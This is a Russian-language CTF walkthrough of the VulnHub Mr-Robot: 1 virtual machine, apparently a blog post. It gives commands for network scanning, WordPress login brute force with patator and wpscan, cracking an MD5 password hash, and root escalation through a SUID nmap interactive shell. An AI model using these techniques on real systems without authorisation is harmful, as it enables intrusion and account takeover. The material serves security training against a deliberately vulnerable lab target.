Я думаю многие смотрели сериал Mr. Robot, с каждым сезоном, о нем узнаёт всё больше народу, вот и VulnHub не остался в стороне. И не так уж давно там появилась Boot2Root виртуальная машина Mr-Robot: 1. Её решение, мы сегодня и рассмотрим.
Реверса тут не будет, но будет несколько примеров демонстрирующих, то как из-за не верного назначения прав на критически важные файлы, ваша система может быть взломана. И так, начнём, нужно добыть 3 ключа.
Ключ 1
Получаем список портов, уже известным нам способом:
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd
Далее запустим robotscan, который мы уже применяли в одной из статей:
$ ./robotscan.py -u 'http://192.168.1.29' -e txt,php -w /usr/share/dirb/wordlists/big.txt -x 403
Первый ключ:
$ curl http://192.168.1.29/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
Ключ 2
Как вы заметили, там есть ещё 1 не типичный для WordPress файл: fsocity.dic. Как выяснилось, это уже готовый словарь для брута. Осталось удалить из него дубликаты:
$ sort -u fsocity.dic > fsocity_sort.dic
WPScan отказался искать доступных пользователей, поэтому придется это делать другим способом:
P.S. WPScan проверяет URL вида: target_url/?author=$id
В то время, как по умолчанию, при авторизации, скрипт wp-login.php возвращает «Invalid username» в случае если пользователь не найден, и «The password you entered for the username $username is incorrect»
$ sudo patator http_fuzz url=http://192.168.1.29/wp-login.php method=POST body='log=FILE0&pwd=nn&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.29%2Fwp-admin%2F&testcookie=1' follow=1 accept_cookie=1 0=./fsocity_sort.dic -x ignore:fgrep='Invalid username'
И спустя некоторое время получаем вывод:
22:28:26 patator INFO — 200 4093:3643 0.262 | Elliot | 5474 | HTTP/1.1 200 OK
22:28:26 patator INFO — 200 4093:3643 0.276 | elliot | 5473 | HTTP/1.1 200 OK
22:28:27 patator INFO — 200 4093:3643 0.235 | ELLIOT | 5475 | HTTP/1.1 200 OK
Логин есть, осталось подобрать пароль. В качестве словаря, воспользуемся тем же файлом:
$ sudo ./wpscan.rb --url 192.168.1.29 --threads 50 --wordlist ./fsocity_sort.dic --username elliot
Прокинем себе шелл через Metasploit:
Первым делом изучаем содержимое директории с пользователями:
Ключ здесь, но нужны креды пользователя robot. Открыв второй доступный файл, находим нужную нам информацию:
$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
Осталось расшифровать MD5 на ближайшем онлайн сервисе: abcdefghijklmnopqrstuvwxyz.
Логинимся в виртуалке и получаем второй ключ:
Ключ 3
Третий ключ вероятно расположен у пользователя root. Посмотрим доступные SUID приложения:
$ find / -perm -4000 2>/dev/null
Ничего не обычного, кроме nmap'а. После запуска без параметров, получаем справку, и потенциальную уязвимость:
Как сказал бы MrRobot:
Взломать их было легко, они использовали старую версию nmap'а с поддержкой интерактивного режима, и не верно выставленные права, так что я с легкостью получил root доступ
$ nmap --interactive
Из интерактивного режима запускаем командную оболочку !sh, и забираем последний ключ:
Вот и всё. Очередное подтверждение тому, как не верное разграничение прав, приводит к компрометации системы!
Поделиться с друзьями